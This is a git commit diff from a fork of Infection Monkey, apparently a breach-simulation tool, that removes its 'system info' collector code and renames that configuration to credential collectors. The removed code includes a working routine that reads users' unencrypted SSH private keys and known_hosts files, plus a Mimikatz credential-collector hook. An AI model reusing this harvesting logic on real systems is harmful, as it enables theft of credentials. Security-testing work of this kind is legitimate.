forked from p15670423/monkey
Merge pull request #1752 from guardicore/1695-removing-system-info-infra
1695 removing system info infrastructure
This commit is contained in:
commit
1b484e0365
|
@ -101,7 +101,6 @@ class Configuration(object):
|
||||||
|
|
||||||
finger_classes = []
|
finger_classes = []
|
||||||
exploiter_classes = []
|
exploiter_classes = []
|
||||||
system_info_collector_classes = []
|
|
||||||
|
|
||||||
# depth of propagation
|
# depth of propagation
|
||||||
depth = 2
|
depth = 2
|
||||||
|
|
|
@ -12,7 +12,6 @@ from ctypes import c_char_p
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
from infection_monkey.system_info import OperatingSystem, SystemInfoCollector
|
|
||||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||||
from infection_monkey.utils.commands import (
|
from infection_monkey.utils.commands import (
|
||||||
build_monkey_commandline_explicitly,
|
build_monkey_commandline_explicitly,
|
||||||
|
|
|
@ -139,7 +139,7 @@ class AutomatedMaster(IMaster):
|
||||||
credential_collector_thread = create_daemon_thread(
|
credential_collector_thread = create_daemon_thread(
|
||||||
target=self._run_plugins,
|
target=self._run_plugins,
|
||||||
args=(
|
args=(
|
||||||
config["system_info_collector_classes"],
|
config["credential_collector_classes"],
|
||||||
"credential collector",
|
"credential collector",
|
||||||
self._collect_credentials,
|
self._collect_credentials,
|
||||||
),
|
),
|
||||||
|
|
|
@ -1,6 +0,0 @@
|
||||||
from PyInstaller.utils.hooks import collect_data_files, collect_submodules
|
|
||||||
|
|
||||||
# Import all actions as modules
|
|
||||||
hiddenimports = collect_submodules("infection_monkey.system_info.collectors")
|
|
||||||
# Add action files that we enumerate
|
|
||||||
datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True)
|
|
|
@ -1,112 +0,0 @@
|
||||||
import glob
|
|
||||||
import logging
|
|
||||||
import os
|
|
||||||
import pwd
|
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
|
||||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class SSHCollector(object):
|
|
||||||
"""
|
|
||||||
SSH keys and known hosts collection module
|
|
||||||
"""
|
|
||||||
|
|
||||||
default_dirs = ["/.ssh/", "/"]
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_info():
|
|
||||||
logger.info("Started scanning for ssh keys")
|
|
||||||
home_dirs = SSHCollector.get_home_dirs()
|
|
||||||
ssh_info = SSHCollector.get_ssh_files(home_dirs)
|
|
||||||
logger.info("Scanned for ssh keys")
|
|
||||||
return ssh_info
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_ssh_struct(name, home_dir):
|
|
||||||
"""
|
|
||||||
:return: SSH info struct with these fields:
|
|
||||||
name: username of user, for whom the keys belong
|
|
||||||
home_dir: users home directory
|
|
||||||
public_key: contents of *.pub file(public key)
|
|
||||||
private_key: contents of * file(private key)
|
|
||||||
known_hosts: contents of known_hosts file(all the servers keys are good for,
|
|
||||||
possibly hashed)
|
|
||||||
"""
|
|
||||||
return {
|
|
||||||
"name": name,
|
|
||||||
"home_dir": home_dir,
|
|
||||||
"public_key": None,
|
|
||||||
"private_key": None,
|
|
||||||
"known_hosts": None,
|
|
||||||
}
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_home_dirs():
|
|
||||||
root_dir = SSHCollector.get_ssh_struct("root", "")
|
|
||||||
home_dirs = [
|
|
||||||
SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir)
|
|
||||||
for x in pwd.getpwall()
|
|
||||||
if x.pw_dir.startswith("/home")
|
|
||||||
]
|
|
||||||
home_dirs.append(root_dir)
|
|
||||||
return home_dirs
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_ssh_files(usr_info):
|
|
||||||
for info in usr_info:
|
|
||||||
path = info["home_dir"]
|
|
||||||
for directory in SSHCollector.default_dirs:
|
|
||||||
if os.path.isdir(path + directory):
|
|
||||||
try:
|
|
||||||
current_path = path + directory
|
|
||||||
# Searching for public key
|
|
||||||
if glob.glob(os.path.join(current_path, "*.pub")):
|
|
||||||
# Getting first file in current path with .pub extension(public key)
|
|
||||||
public = glob.glob(os.path.join(current_path, "*.pub"))[0]
|
|
||||||
logger.info("Found public key in %s" % public)
|
|
||||||
try:
|
|
||||||
with open(public) as f:
|
|
||||||
info["public_key"] = f.read()
|
|
||||||
# By default private key has the same name as public,
|
|
||||||
# only without .pub
|
|
||||||
private = os.path.splitext(public)[0]
|
|
||||||
if os.path.exists(private):
|
|
||||||
try:
|
|
||||||
with open(private) as f:
|
|
||||||
# no use from ssh key if it's encrypted
|
|
||||||
private_key = f.read()
|
|
||||||
if private_key.find("ENCRYPTED") == -1:
|
|
||||||
info["private_key"] = private_key
|
|
||||||
logger.info("Found private key in %s" % private)
|
|
||||||
T1005Telem(
|
|
||||||
ScanStatus.USED, "SSH key", "Path: %s" % private
|
|
||||||
).send()
|
|
||||||
else:
|
|
||||||
continue
|
|
||||||
except (IOError, OSError):
|
|
||||||
pass
|
|
||||||
# By default known hosts file is called 'known_hosts'
|
|
||||||
known_hosts = os.path.join(current_path, "known_hosts")
|
|
||||||
if os.path.exists(known_hosts):
|
|
||||||
try:
|
|
||||||
with open(known_hosts) as f:
|
|
||||||
info["known_hosts"] = f.read()
|
|
||||||
logger.info("Found known_hosts in %s" % known_hosts)
|
|
||||||
except (IOError, OSError):
|
|
||||||
pass
|
|
||||||
# If private key found don't search more
|
|
||||||
if info["private_key"]:
|
|
||||||
break
|
|
||||||
except (IOError, OSError):
|
|
||||||
pass
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
usr_info = [
|
|
||||||
info
|
|
||||||
for info in usr_info
|
|
||||||
if info["private_key"] or info["known_hosts"] or info["public_key"]
|
|
||||||
]
|
|
||||||
return usr_info
|
|
|
@ -1,76 +0,0 @@
|
||||||
import logging
|
|
||||||
import sys
|
|
||||||
from enum import IntEnum
|
|
||||||
|
|
||||||
import psutil
|
|
||||||
|
|
||||||
from infection_monkey.network.info import get_host_subnets
|
|
||||||
from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
# Linux doesn't have WindowsError
|
|
||||||
try:
|
|
||||||
WindowsError
|
|
||||||
except NameError:
|
|
||||||
# noinspection PyShadowingBuiltins
|
|
||||||
WindowsError = psutil.AccessDenied
|
|
||||||
|
|
||||||
|
|
||||||
class OperatingSystem(IntEnum):
|
|
||||||
Windows = 0
|
|
||||||
Linux = 1
|
|
||||||
|
|
||||||
|
|
||||||
class SystemInfoCollector(object):
|
|
||||||
"""
|
|
||||||
A class that checks the current operating system and calls system information collecting
|
|
||||||
modules accordingly
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.os = SystemInfoCollector.get_os()
|
|
||||||
if OperatingSystem.Windows == self.os:
|
|
||||||
from .windows_info_collector import WindowsInfoCollector
|
|
||||||
|
|
||||||
self.collector = WindowsInfoCollector()
|
|
||||||
else:
|
|
||||||
from .linux_info_collector import LinuxInfoCollector
|
|
||||||
|
|
||||||
self.collector = LinuxInfoCollector()
|
|
||||||
|
|
||||||
def get_info(self):
|
|
||||||
return self.collector.get_info()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_os():
|
|
||||||
if sys.platform.startswith("win"):
|
|
||||||
return OperatingSystem.Windows
|
|
||||||
else:
|
|
||||||
return OperatingSystem.Linux
|
|
||||||
|
|
||||||
|
|
||||||
class InfoCollector(object):
|
|
||||||
"""
|
|
||||||
Generic Info Collection module
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.info = {"credentials": {}}
|
|
||||||
|
|
||||||
def get_info(self):
|
|
||||||
# Collect all hardcoded
|
|
||||||
self.get_network_info()
|
|
||||||
|
|
||||||
# Collect all plugins
|
|
||||||
SystemInfoCollectorsHandler().execute_all_configured()
|
|
||||||
|
|
||||||
def get_network_info(self):
|
|
||||||
"""
|
|
||||||
Adds network information from the host to the system information.
|
|
||||||
Currently updates with list of networks accessible from host
|
|
||||||
containing host ip and the subnet range
|
|
||||||
:return: None. Updates class information
|
|
||||||
"""
|
|
||||||
logger.debug("Reading subnets")
|
|
||||||
self.info["network_info"] = {"networks": get_host_subnets()}
|
|
|
@ -1,3 +0,0 @@
|
||||||
"""
|
|
||||||
This package holds all the dynamic (plugin) collectors
|
|
||||||
"""
|
|
|
@ -1,26 +0,0 @@
|
||||||
import logging
|
|
||||||
|
|
||||||
from infection_monkey.system_info import InfoCollector
|
|
||||||
from infection_monkey.system_info.SSH_info_collector import SSHCollector
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class LinuxInfoCollector(InfoCollector):
|
|
||||||
"""
|
|
||||||
System information collecting module for Linux operating systems
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
super(LinuxInfoCollector, self).__init__()
|
|
||||||
|
|
||||||
def get_info(self):
|
|
||||||
"""
|
|
||||||
Collect Linux system information
|
|
||||||
Hostname, process list and network subnets
|
|
||||||
:return: Dict of system information
|
|
||||||
"""
|
|
||||||
logger.debug("Running Linux collector")
|
|
||||||
super(LinuxInfoCollector, self).get_info()
|
|
||||||
self.info["ssh_info"] = SSHCollector.get_info()
|
|
||||||
return self.info
|
|
|
@ -1,42 +0,0 @@
|
||||||
from abc import ABCMeta, abstractmethod
|
|
||||||
|
|
||||||
import infection_monkey.system_info.collectors
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
from infection_monkey.utils.plugins.plugin import Plugin
|
|
||||||
|
|
||||||
|
|
||||||
class SystemInfoCollector(Plugin, metaclass=ABCMeta):
|
|
||||||
"""
|
|
||||||
ABC for system info collection. See system_info_collector_handler for more info. Basically,
|
|
||||||
to implement a new system info
|
|
||||||
collector, inherit from this class in an implementation in the
|
|
||||||
infection_monkey.system_info.collectors class, and override
|
|
||||||
the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the
|
|
||||||
collector to the configuration
|
|
||||||
as well - see monkey_island.cc.services.processing.system_info_collectors for examples.
|
|
||||||
|
|
||||||
See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide.
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, name="unknown"):
|
|
||||||
self.name = name
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def should_run(class_name) -> bool:
|
|
||||||
return class_name in WormConfiguration.system_info_collector_classes
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def base_package_file():
|
|
||||||
return infection_monkey.system_info.collectors.__file__
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def base_package_name():
|
|
||||||
return infection_monkey.system_info.collectors.__package__
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def collect(self) -> dict:
|
|
||||||
"""
|
|
||||||
Collect the relevant information and return it in a dictionary.
|
|
||||||
To be implemented by each collector.
|
|
||||||
"""
|
|
||||||
raise NotImplementedError()
|
|
|
@ -1,35 +0,0 @@
|
||||||
import logging
|
|
||||||
from typing import Sequence
|
|
||||||
|
|
||||||
from infection_monkey.system_info.system_info_collector import SystemInfoCollector
|
|
||||||
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class SystemInfoCollectorsHandler(object):
|
|
||||||
def __init__(self):
|
|
||||||
self.collectors_list = self.config_to_collectors_list()
|
|
||||||
|
|
||||||
def execute_all_configured(self):
|
|
||||||
successful_collections = 0
|
|
||||||
system_info_telemetry = {}
|
|
||||||
for collector in self.collectors_list:
|
|
||||||
try:
|
|
||||||
logger.debug("Executing system info collector: '{}'".format(collector.name))
|
|
||||||
collected_info = collector.collect()
|
|
||||||
system_info_telemetry[collector.name] = collected_info
|
|
||||||
successful_collections += 1
|
|
||||||
except Exception as e:
|
|
||||||
# If we failed one collector, no need to stop execution. Log and continue.
|
|
||||||
logger.error("Collector {} failed. Error info: {}".format(collector.name, e))
|
|
||||||
logger.info(
|
|
||||||
"All system info collectors executed. Total {} executed, out of which {} "
|
|
||||||
"collected successfully.".format(len(self.collectors_list), successful_collections)
|
|
||||||
)
|
|
||||||
|
|
||||||
SystemInfoTelem({"collectors": system_info_telemetry}).send()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def config_to_collectors_list() -> Sequence[SystemInfoCollector]:
|
|
||||||
return SystemInfoCollector.get_instances()
|
|
|
@ -1,53 +0,0 @@
|
||||||
import logging
|
|
||||||
import sys
|
|
||||||
|
|
||||||
from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR
|
|
||||||
from infection_monkey.credential_collectors.windows_cred_collector.mimikatz_cred_collector import (
|
|
||||||
MimikatzCredentialCollector,
|
|
||||||
)
|
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
|
||||||
import infection_monkey.config # noqa: E402
|
|
||||||
from infection_monkey.system_info import InfoCollector # noqa: E402
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
logger.info("started windows info collector")
|
|
||||||
|
|
||||||
|
|
||||||
class WindowsInfoCollector(InfoCollector):
|
|
||||||
"""
|
|
||||||
System information collecting module for Windows operating systems
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
super(WindowsInfoCollector, self).__init__()
|
|
||||||
self._config = infection_monkey.config.WormConfiguration
|
|
||||||
|
|
||||||
def get_info(self):
|
|
||||||
"""
|
|
||||||
Collect Windows system information
|
|
||||||
Hostname, process list and network subnets
|
|
||||||
Tries to read credential secrets using mimikatz
|
|
||||||
:return: Dict of system information
|
|
||||||
"""
|
|
||||||
logger.debug("Running Windows collector")
|
|
||||||
super(WindowsInfoCollector, self).get_info()
|
|
||||||
# TODO: Think about returning self.get_wmi_info()
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
|
|
||||||
if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes:
|
|
||||||
self.get_mimikatz_info()
|
|
||||||
|
|
||||||
return self.info
|
|
||||||
|
|
||||||
def get_mimikatz_info(self):
|
|
||||||
logger.info("Gathering mimikatz info")
|
|
||||||
try:
|
|
||||||
credentials = MimikatzCredentialCollector.get_creds()
|
|
||||||
if credentials:
|
|
||||||
self.info["credentials"].update(credentials)
|
|
||||||
logger.info("Mimikatz info gathered successfully")
|
|
||||||
else:
|
|
||||||
logger.info("No mimikatz info was gathered")
|
|
||||||
except Exception as e:
|
|
||||||
logger.info(f"Mimikatz credential collector failed: {e}")
|
|
|
@ -1,20 +0,0 @@
|
||||||
from common.common_consts.telem_categories import TelemCategoryEnum
|
|
||||||
from infection_monkey.telemetry.base_telem import BaseTelem
|
|
||||||
|
|
||||||
|
|
||||||
class SystemInfoTelem(BaseTelem):
|
|
||||||
def __init__(self, system_info):
|
|
||||||
"""
|
|
||||||
Default system info telemetry constructor
|
|
||||||
:param system_info: System info returned from SystemInfoCollector.get_info()
|
|
||||||
"""
|
|
||||||
super(SystemInfoTelem, self).__init__()
|
|
||||||
self.system_info = system_info
|
|
||||||
|
|
||||||
telem_category = TelemCategoryEnum.SYSTEM_INFO
|
|
||||||
|
|
||||||
def get_data(self):
|
|
||||||
return self.system_info
|
|
||||||
|
|
||||||
def send(self, log_data=False):
|
|
||||||
super(SystemInfoTelem, self).send(log_data)
|
|
|
@ -93,8 +93,8 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"]
|
return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"]
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_systeminfo_telem_brief(telem):
|
def get_credentials_telem_brief(_):
|
||||||
return "Monkey collected system information."
|
return "Monkey collected stole some credentials."
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_trace_telem_brief(telem):
|
def get_trace_telem_brief(telem):
|
||||||
|
@ -114,11 +114,11 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
|
|
||||||
|
|
||||||
TELEM_PROCESS_DICT = {
|
TELEM_PROCESS_DICT = {
|
||||||
TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief,
|
TelemCategoryEnum.CREDENTIALS: TelemetryFeed.get_credentials_telem_brief,
|
||||||
TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief,
|
|
||||||
TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief,
|
TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief,
|
||||||
TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief,
|
|
||||||
TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief,
|
|
||||||
TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief,
|
|
||||||
TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief,
|
TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief,
|
||||||
|
TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief,
|
||||||
|
TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief,
|
||||||
|
TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief,
|
||||||
|
TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief,
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,13 +1,13 @@
|
||||||
from monkey_island.cc.services.config_schema.basic import BASIC
|
from monkey_island.cc.services.config_schema.basic import BASIC
|
||||||
from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK
|
from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK
|
||||||
|
from monkey_island.cc.services.config_schema.definitions.credential_collector_classes import (
|
||||||
|
CREDENTIAL_COLLECTOR_CLASSES,
|
||||||
|
)
|
||||||
from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES
|
from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES
|
||||||
from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES
|
from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES
|
||||||
from monkey_island.cc.services.config_schema.definitions.post_breach_actions import (
|
from monkey_island.cc.services.config_schema.definitions.post_breach_actions import (
|
||||||
POST_BREACH_ACTIONS,
|
POST_BREACH_ACTIONS,
|
||||||
)
|
)
|
||||||
from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import (
|
|
||||||
SYSTEM_INFO_COLLECTOR_CLASSES,
|
|
||||||
)
|
|
||||||
from monkey_island.cc.services.config_schema.internal import INTERNAL
|
from monkey_island.cc.services.config_schema.internal import INTERNAL
|
||||||
from monkey_island.cc.services.config_schema.monkey import MONKEY
|
from monkey_island.cc.services.config_schema.monkey import MONKEY
|
||||||
from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE
|
from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE
|
||||||
|
@ -20,7 +20,7 @@ SCHEMA = {
|
||||||
# users will not accidentally chose unsafe options
|
# users will not accidentally chose unsafe options
|
||||||
"definitions": {
|
"definitions": {
|
||||||
"exploiter_classes": EXPLOITER_CLASSES,
|
"exploiter_classes": EXPLOITER_CLASSES,
|
||||||
"system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES,
|
"credential_collector_classes": CREDENTIAL_COLLECTOR_CLASSES,
|
||||||
"post_breach_actions": POST_BREACH_ACTIONS,
|
"post_breach_actions": POST_BREACH_ACTIONS,
|
||||||
"finger_classes": FINGER_CLASSES,
|
"finger_classes": FINGER_CLASSES,
|
||||||
},
|
},
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR
|
from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR
|
||||||
|
|
||||||
SYSTEM_INFO_COLLECTOR_CLASSES = {
|
CREDENTIAL_COLLECTOR_CLASSES = {
|
||||||
"title": "System Information Collectors",
|
"title": "Credential Collectors",
|
||||||
"description": "Click on a system info collector to find out what it collects.",
|
"description": "Click on a credential collector to find out what it collects.",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"anyOf": [
|
"anyOf": [
|
||||||
{
|
{
|
|
@ -1,4 +1,4 @@
|
||||||
from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR
|
from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR
|
||||||
|
|
||||||
MONKEY = {
|
MONKEY = {
|
||||||
"title": "Monkey",
|
"title": "Monkey",
|
||||||
|
@ -73,15 +73,15 @@ MONKEY = {
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"system_info": {
|
"credential_collectors": {
|
||||||
"title": "System info",
|
"title": "Credential collection",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": {
|
"properties": {
|
||||||
"system_info_collector_classes": {
|
"credential_collector_classes": {
|
||||||
"title": "System info collectors",
|
"title": "Credential collectors",
|
||||||
"type": "array",
|
"type": "array",
|
||||||
"uniqueItems": True,
|
"uniqueItems": True,
|
||||||
"items": {"$ref": "#/definitions/system_info_collector_classes"},
|
"items": {"$ref": "#/definitions/credential_collector_classes"},
|
||||||
"default": [
|
"default": [
|
||||||
MIMIKATZ_COLLECTOR,
|
MIMIKATZ_COLLECTOR,
|
||||||
SSH_COLLECTOR,
|
SSH_COLLECTOR,
|
||||||
|
|
|
@ -1,59 +0,0 @@
|
||||||
import logging
|
|
||||||
import typing
|
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {}
|
|
||||||
|
|
||||||
|
|
||||||
class SystemInfoTelemetryDispatcher(object):
|
|
||||||
def __init__(
|
|
||||||
self,
|
|
||||||
collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None,
|
|
||||||
):
|
|
||||||
"""
|
|
||||||
:param collector_to_parsing_functions: Map between collector names and a list of functions
|
|
||||||
that process the output of that collector.
|
|
||||||
If `None` is supplied, uses the default one; This should be the normal flow, overriding the
|
|
||||||
collector->functions mapping is useful mostly for testing.
|
|
||||||
"""
|
|
||||||
if collector_to_parsing_functions is None:
|
|
||||||
collector_to_parsing_functions = SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS
|
|
||||||
self.collector_to_processing_functions = collector_to_parsing_functions
|
|
||||||
|
|
||||||
def dispatch_collector_results_to_relevant_processors(self, telemetry_json):
|
|
||||||
"""
|
|
||||||
If the telemetry has collectors' results, dispatches the results to the relevant
|
|
||||||
processing functions.
|
|
||||||
:param telemetry_json: Telemetry sent from the Monkey
|
|
||||||
"""
|
|
||||||
if "collectors" in telemetry_json["data"]:
|
|
||||||
self.dispatch_single_result_to_relevant_processor(telemetry_json)
|
|
||||||
|
|
||||||
def dispatch_single_result_to_relevant_processor(self, telemetry_json):
|
|
||||||
relevant_monkey_guid = telemetry_json["monkey_guid"]
|
|
||||||
|
|
||||||
for collector_name, collector_results in telemetry_json["data"]["collectors"].items():
|
|
||||||
self.dispatch_result_of_single_collector_to_processing_functions(
|
|
||||||
collector_name, collector_results, relevant_monkey_guid
|
|
||||||
)
|
|
||||||
|
|
||||||
def dispatch_result_of_single_collector_to_processing_functions(
|
|
||||||
self, collector_name, collector_results, relevant_monkey_guid
|
|
||||||
):
|
|
||||||
if collector_name in self.collector_to_processing_functions:
|
|
||||||
for processing_function in self.collector_to_processing_functions[collector_name]:
|
|
||||||
# noinspection PyBroadException
|
|
||||||
try:
|
|
||||||
processing_function(collector_results, relevant_monkey_guid)
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(
|
|
||||||
"Error {} while processing {} system info telemetry".format(
|
|
||||||
str(e), collector_name
|
|
||||||
),
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
logger.warning("Unknown system info collector name: {}".format(collector_name))
|
|
|
@ -94,8 +94,8 @@ export default function UiSchema(props) {
|
||||||
'ui:emptyValue': ''
|
'ui:emptyValue': ''
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
system_info: {
|
credential_collectors: {
|
||||||
system_info_collector_classes: {
|
credential_collector_classes: {
|
||||||
classNames: 'config-template-no-header',
|
classNames: 'config-template-no-header',
|
||||||
'ui:widget': AdvancedMultiSelect
|
'ui:widget': AdvancedMultiSelect
|
||||||
}
|
}
|
||||||
|
|
|
@ -16,9 +16,9 @@ function getPluginDescriptors(schema, config) {
|
||||||
selectedPlugins: config.monkey.post_breach.post_breach_actions
|
selectedPlugins: config.monkey.post_breach.post_breach_actions
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: 'SystemInfoCollectors',
|
name: 'CredentialCollectors',
|
||||||
allPlugins: schema.definitions.system_info_collector_classes.anyOf,
|
allPlugins: schema.definitions.credential_collector_classes.anyOf,
|
||||||
selectedPlugins: config.monkey.system_info.system_info_collector_classes
|
selectedPlugins: config.monkey.credential_collectors.credential_collector_classes
|
||||||
}
|
}
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,20 +0,0 @@
|
||||||
import json
|
|
||||||
|
|
||||||
import pytest
|
|
||||||
|
|
||||||
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
|
|
||||||
|
|
||||||
SYSTEM_INFO = {}
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
|
||||||
def system_info_telem_test_instance():
|
|
||||||
return SystemInfoTelem(SYSTEM_INFO)
|
|
||||||
|
|
||||||
|
|
||||||
def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry):
|
|
||||||
system_info_telem_test_instance.send()
|
|
||||||
expected_data = SYSTEM_INFO
|
|
||||||
expected_data = json.dumps(expected_data, cls=system_info_telem_test_instance.json_encoder)
|
|
||||||
assert spy_send_telemetry.data == expected_data
|
|
||||||
assert spy_send_telemetry.telem_category == "system_info"
|
|
|
@ -94,7 +94,6 @@ Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timest
|
||||||
SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15)
|
SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15)
|
||||||
EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19)
|
EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19)
|
||||||
HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10)
|
HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10)
|
||||||
_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11)
|
|
||||||
_.representations # unused attribute (monkey/monkey_island/cc/app.py:180)
|
_.representations # unused attribute (monkey/monkey_island/cc/app.py:180)
|
||||||
_.log_message # unused method (monkey/infection_monkey/transport/http.py:188)
|
_.log_message # unused method (monkey/infection_monkey/transport/http.py:188)
|
||||||
_.log_message # unused method (monkey/infection_monkey/transport/http.py:109)
|
_.log_message # unused method (monkey/infection_monkey/transport/http.py:109)
|
||||||
|
@ -106,7 +105,6 @@ binaries # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-pyps
|
||||||
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3)
|
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3)
|
||||||
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3)
|
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3)
|
||||||
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4)
|
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4)
|
||||||
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4)
|
|
||||||
_.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345)
|
_.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345)
|
||||||
_.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344)
|
_.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344)
|
||||||
_.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79)
|
_.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79)
|
||||||
|
@ -159,10 +157,6 @@ salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78)
|
||||||
thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61)
|
thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61)
|
||||||
|
|
||||||
|
|
||||||
# leaving this since there's a TODO related to it
|
|
